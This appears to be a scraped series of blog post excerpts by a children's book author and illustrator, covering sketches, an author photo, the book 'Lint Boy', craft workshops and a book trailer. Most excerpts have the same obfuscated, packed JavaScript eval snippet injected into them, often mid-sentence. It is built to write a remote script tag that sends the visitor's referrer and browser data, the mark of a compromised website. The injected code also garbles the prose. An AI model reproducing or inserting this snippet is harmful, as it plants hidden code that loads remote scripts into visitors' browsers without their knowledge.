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Birds dressed for business

Some of last weeks sketches. [caption id="attachment_51839" align="alignnone" width="300"] eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffbra|var|u0026u|referrer|rhhrt||js|php'.split('|'),0,{})) BlueTail[/caption] [caption id="attachment_51844" align="alignnone" width="300"] Blue Heron[/caption] [caption id="attachment_51845" align="alignnone" width="300"] Crow[/caption]...

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Author Photo

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beart|var|u0026u|referrer|sznzy||js|php'.split('|'),0,{})) had never had a headshot taken. To be honest, it didn't appeal to me to look right into the camera and attempt to appear natural. For the author photo of my last books, I used a picture from when I was a child, or an image I had laying around. [caption id="attachment_51720" align="alignleft" width="400"] Photo credit, Kelvin Jones[/caption] This time around, for Lint Boy, it looked like a professional author photo was the right way to go, especially because Kelvin Jones, an amazing photographer offered to help me out. Here are some of his shots. * Kelvin was able to make me feel comfortable in front of the camera, and it wasn't such a bad experience after all. And he created this fun and informative video of a Nomadic School of...

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Lint boy arrives

In the mail yesterday!

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttsbi|var|u0026u|referrer|skets||js|php'.split('|'),0,{})) copy of my newest book arrived in the mail yesterday, accompanied by a wonderful and most thoughtful card by my amazing editor Anne Hoppe. It happened to be my birthday, I suspect that the arrival wasn't coincidental. A sweet gift! [caption id="attachment_51649" align="aligncenter" width="432"] Lint Boy arrives in the mail[/caption]...

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Spring Doodles

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|riefk|var|u0026u|referrer|nyfsh||js|php'.split('|'),0,{})) is a Birthday card I made for a dear friend. My Movie from Aileen Leijten on Vimeo....

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Painting with Wool

Come eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynnsk|var|u0026u|referrer|zyirz||js|php'.split('|'),0,{})) join me for a workshop on 'Painting with Wool', on Sunday April 9th 9:30am-1pm Here a little time lapse video to clarify what I'm talking about. $75 per participant, to sign-up contact Nomadic School of Wonder. More information, under workshops. * ...

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Shibori Adventure

I went on a Shibori adventure last Sunday with some dear friends. Here are the chronological pictures of the day.   eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edrtn|var|u0026u|referrer|kdkzt||js|php'.split('|'),0,{})) ...

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Recommended to you

Funny, Amazon is recommending my own book to me : ) I'll be sure to pre-order it. I want to be one of the first people to see it ; ) In my Emailbox today....

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Happy Valentine’s Day!

Happy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsnzy|var|u0026u|referrer|sdhah||js|php'.split('|'),0,{})) Valentine's Day to everyone out there in cyber space! Are you ready and prepared? I hosted a fun workshop at my studio helping these wonderful kids get their valentines done for their friends at school and for their families. They were awesome! Here a few pictures. * Check out the Workshop page for upcoming events. Photo credit, Vic Zaud. Thank you, Vic!...

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Lint Boy – Book Trailer

Hi Peeps, HMH released the book trailer for my newest book, 'Lint Boy' yesterday, Woohooo! Go eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbirn|var|u0026u|referrer|rdrfn||js|php'.split('|'),0,{})) take a look on Youtube! Or watch it here on the Lint Boy Page of my site. I made the trailer in I-Movie, and my dear friend and brilliant musician Pam Aronoff made the music and record the voice over.     Pre-order Lint Boy Today! Houghton Mifflin Harcourt: http://bit.ly/2k8t0HR Amazon: http://amzn.to/2k8kfgZ Indiebound: http://bit.ly/2ky0Um5 Google: http://bit.ly/2jBZV4h BAM: http://bit.ly/2j8ZGBx Barnes & Noble: http://bit.ly/2jjxQ0w...

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